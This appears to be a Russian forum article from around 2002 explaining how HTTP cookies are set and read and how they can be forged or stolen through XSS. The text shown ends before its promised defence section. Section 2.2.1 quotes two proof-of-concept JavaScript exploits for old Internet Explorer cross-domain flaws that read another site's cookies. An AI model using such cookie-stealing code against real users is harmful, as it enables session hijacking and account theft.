Оглавление
1 Описание технологии cookie
1.1 Что такое cookie?
1.2 Применение cookie
1.3 Установка cookie
1.4 Чтение cookie
2 Способы фальсификации cookie
2.1 Общая информация
2.2 Методы фальсификации
2.2.1 Уязвимость броузера
2.2.2 Уязвимость Internet ресурса
2.2.3 Особое мнение
2.3 Обзор XSS
2.4 Хищение cookie при помощи Trace
2.5 Безопасность технологии .NET
3 Способы защиты cookie
-------------------------------------------------------------------
1 Описание технологии cookie.
1.1 Что такое cookie?
Cookie является решением одной из наследственных проблем HTTP спецификации. Эта проблема заключается в непостоянстве соединения между клиентом и сервером, как при FTP или Telnet сессии, т.е. для каждого документа (или файла) при передаче по HTTP протоколу посылается отдельный запрос. Включение cookie в HTTP протокол дало частичное решение этой проблемы.
Cookie - это некое значение в текстово-цировом виде, которое сервер передает браузеру. Браузер будет хранить эту информацию и передавать ее серверу с каждым запросом как часть HTTP заголовка. Одни значения cookie могут храниться только в течение одной сессии и удаляются после закрытия браузера. Другие, установленные на некоторый период времени, записываются в файл. Вот как выглядит схема работы удаленного хоста и клиента через Интернет:
Сами по себе cookies ничего не могут делать. Однако сервер может считывать содержащуюся в cookies информацию и на основании ее анализа совершать те или иные действия.
Клиент имеет следующие ограничения для cookies:
всего может храниться до 300 значений cookies
каждый cookie не может превышать 4Кбайт
с одного сервера или домена может храниться до 20 значений cookies
В случае, если cookie принимает новое значение при имеющемся уже в броузере cookie с совпадающими данными, старое значение затирается новым. В остальных случаях новые cookies добавляются.
1.2 Применение cookie.
Ипользование cookie - эффективное решение сохранения пользователькой информации. Многие считают их опасными, якобы они могут заразить компьютер вирусом или украсть их пароль подключения к Интернету. Как ни странно это утверждение является ошибочным. Но считать cookie безопасными тоже нельзя. Для примера приведу несколько примеров их использования и их "опасности":
1 Вы пользуетесь почтой с WEB интерфейсом. Чтобы не вводить пароль при каждом входе на ваш почтовый ящик, вы ставите галочку возле надписи "Сохранить пароль". Вследствии чего иформация с вашим логином и паролем сохраняется в cookie и при каждом входе на почту пароль и логин установлятся автоматически.
2 Похожий пример можно привести и с Интернет магазинами. Заполнив форму с данными о вашей кредитной карточке они сохраняются и при следующей покупке вам не придется заполнять все заново.
Это удобно с точки зрения пользователя, но о безопасности данной технологии не может быть и речи. Хотя некоторые методы защиты все-таки используются:
Информация из Cookie одного домена второго уровня (плюс подуровни) не может быть прочитана другими доменами.
Если документ кэшируется, то информация о cookie не кэшируется.
Информация Cookie может передаваться с помощью протокола SSL.
1.3 Установка cookie.
Установка cookie делается посредствам HTTP протокола. Например, клиент получив от сервера строку:
Set-Cookie: name=value; EXPIRES=date; DOMAIN=domain_name; PATH=path; SECURE
"Запомнит", что для сервера domain_name необходимо установить значение переменной name в value. Вот краткое описание значения каждой переменной:
NAME=VALUE - строка символов, исключая перевод строки, запятые и пробелы. NAME-имя cookie, VALUE - значение.
expires=DATE - время хранения cookie, т.е. вместо DATE должна стоять дата в формате Wdy, DD-Mon-YYYY HH:MM:SS GMT, после которой истекает время хранения cookie. Если этот атрибут не указан, то cookie хранится в течение одного сеанса, до закрытия броузера.
domain=DOMAIN_NAME - домен, для которого значение cookie действительно. Например, domain=domen.com. В этом случае значение cоokie будет действительно и для сервера domen.com, и для
www.domen.com. Но не радуйтесь, указания двух последних периодов доменных имен хватает только для доменов иерархии "COM", "EDU", "NET", "ORG", "GOV", "MIL", и "INT". Для доменов иерархии "RU" придется указывать три периода.
Если этот атрибут опущен, то по умолчанию используется доменное имя сервера, с которого было выставлено значение cookie.
path=PATH - этот атрибут устанавливает подмножество документов, для которых действительно значание cookie. Например, указание path=/win приведет к тому, что значение cookie будет действительно для множества документов в директории /win/, в директории /wings/ и файлов в текущей директории с именами типа wind.html и windows.shtml
Если этот атрибут не указан, то значение cookie распространяется только на документы в той же директории, что и документ, в котором было установлено cookie.
secure - если стоит такой маркер, то информация cookie пересылается только через HTTPS (HTTP с использованием SSL). Если этот маркер не указан, то информация пересылается обычным способом.
Разные языки программирования предлагают свою реализацию изменения cookie. Давайте рассмотрим некоторые из них:
1. HTML позволяет изменить значения печеньек(именно так переводится слово "cookie") так:
<META HTTP-EQUIV="Set-Cookie" CONTENT="name=john; EXPIRES=Friday,31-Dec-02
23:59:59 GMT; DOMAIN=server.ru; PATH=/users/; SECURE">
2. Реализация на Perl:
print "Set-Cookie: name=john; expires=Friday,31-Dec-02 23:59:59 GMT;
path=/users/; domain=server.ru;\n\n";
3. То же на JavaScript
:
document.cookie="name=john; expires=Friday,31-Dec-02 23:59:59 GMT;
path=/users/; domain=server.ru;";
1.4 Чтение cookie.
Чтобы прочитать скриптом значение cookie, которое было установлено ранее, и соответствующим образом выполнить скрипт, используется переменная окружения HTTP_COOKIE.
1. На Perl это будет выглядеть так:
PHP код:
$cookie = $ENV{'HTTP_COOKIE'};
2. При использовании SSI для просмотра значения cookie можно применить директиву:
PHP код:
<!--#echo var="HTTP_COOKIE"-->
3. JavaScript может прочитать значение использовав свойство обьекта document:
PHP код:
var strCokie=document.cookie;
Когда запрашивается документ с HTTP сервера, броузер проверяет свои cookie на предмет соответствия домену сервера и прочей информации. В случае, если найдены удовлетворяющие всем условиям значения cookie броузер посылает их в серверу в виде пары имя/значение:
Cookie: name=john;
После всего это неискушенному пользователь может показатся, что опасности в данной технологии нет. Но это только на первый взгляд...
2 Способы фальсификации cookie.
2.1 Общая информация.
Подменить Cookie намного проще, чем их прочитать. Хотя если речь идет о удаленном компьютере, то задачи становятся равносильными. Дело в том, что подмена - это простая отправка Cookie на сервер, а чтение разрешено только серверу. Для реализации чтения используется так называемая технология Cross Site Scripting(СSS или XSS, назван так, чтобы избежать путаницы с CSS, aka Cascade Style Sheets). По заявлению "Panda Software Russia" данная уязвимость присутствует в следующих браузерах:
Mozilla (версии до 0.9.7.)
Netscape (версии до 6.2.1.)
MS Internet Explorer (5.5 и 6.0.)
Я считаю, этого достаточно, так-как это самые распространенные браузеры в сети Интернет. Cross Site Scripting можно осуществить через уязвимость в броузере или некорректное Web програмирование. Давайте рассмотрим все по порядку.
2.2 Методы фальсификации
XSS имеет два варианта реализации:
A: Уязвимость броузера
B: Уязвимость Internet ресурса
Каждый выбирает свой вариант, в зависимости от конкретной ситуации. Атака через уязвимость в броузере удобна ее универсальностью по отношению к Web ресурсам. В то же время она не будет эффективна, если пользователь использует иной броузер(а иногда и другую его версию). Уязвимость Internet ресурса - наоборот, безразлична к броузеру, но работает только с одним сайтом.
2.2.1 Уязвимость броузера
Буквально всю первую половину 2002 года на BUGTRAQ, почти ежедневно, поступали сообщения о уязвимостях Internet Explorer и других броузеров. На данный момент последнее, насколько мне извесно, известие за 24.10.2002 гласит:
"При передаче данных между окнами броузер проверяет, находятся ли они в одной зоне безопасности и в одном домене. Всего компания GreyMagic Security нашла девять способов обойти проверку и все они связаны с кэширование объектов....
PHP код:
<script>
var oWin=open("blank.html","victim","width=100,height=100");
var fVuln=oWin.document.getElementById; location.href="http://www.mail.ru";
setTimeout(
function(){
alert(fVuln("ElementIdInNewDoc").document.cookie);
}
,3000);
</script>
IE 5 SP2 и IE6 SP1 не уязвимы."
Как видно IE5-SP2 и IE6-SP1 не уязвимы. Для них есть другой експлоит за 16.10.2002:
"Элементы <frame> и <iframe> могут содержать URL других доменов или протоколов, поэтому для них созданы более строгие правила защиты, которые предотвращают доступ из фрейма одного домена к содержанию другого домена.
Есть несколько способов обратится к <iframe> (или <frame>) документам в Internet Explorer (<iframe id="oFrameId">):
oFrameId.document
document.all.oFrameId.contentWindow.document
frames.oFrameId.document
И другие
Все эти методы правильно обрабатываются Internet Explorer и он предотвращает любую попытку обращения к документу, который принадлежит другому домену.
Однако Microsoft пропустил одно важное свойство - "Document". Обнаружено, что когда используется "oIFrameElement.Document", и возращенный документ содержится внутри frame, не происходит никаких проверок защиты, находится ли документ в другом домене. Уязвимость позволяет атакующему получить доступ к DOM другого домена, и украсть cookie любого сайта, читать локальные файлы и выполнять произвольный код на системе клиента.
Пример (читает cookie mail.ru):
PHP код:
<script>
onload=function () {
setTimeout(
function () {
alert(document.getElementById("oVictim").Document.cookie);
},
100
);
}
</script>
<iframe src="http://www.mail.ru" id="oVictim"></iframe>
Уязвимость обнаружена в Internet Explorer 5.5sp2-6.0."
Фальсификация cookie
Похожие темы
Древовидный вид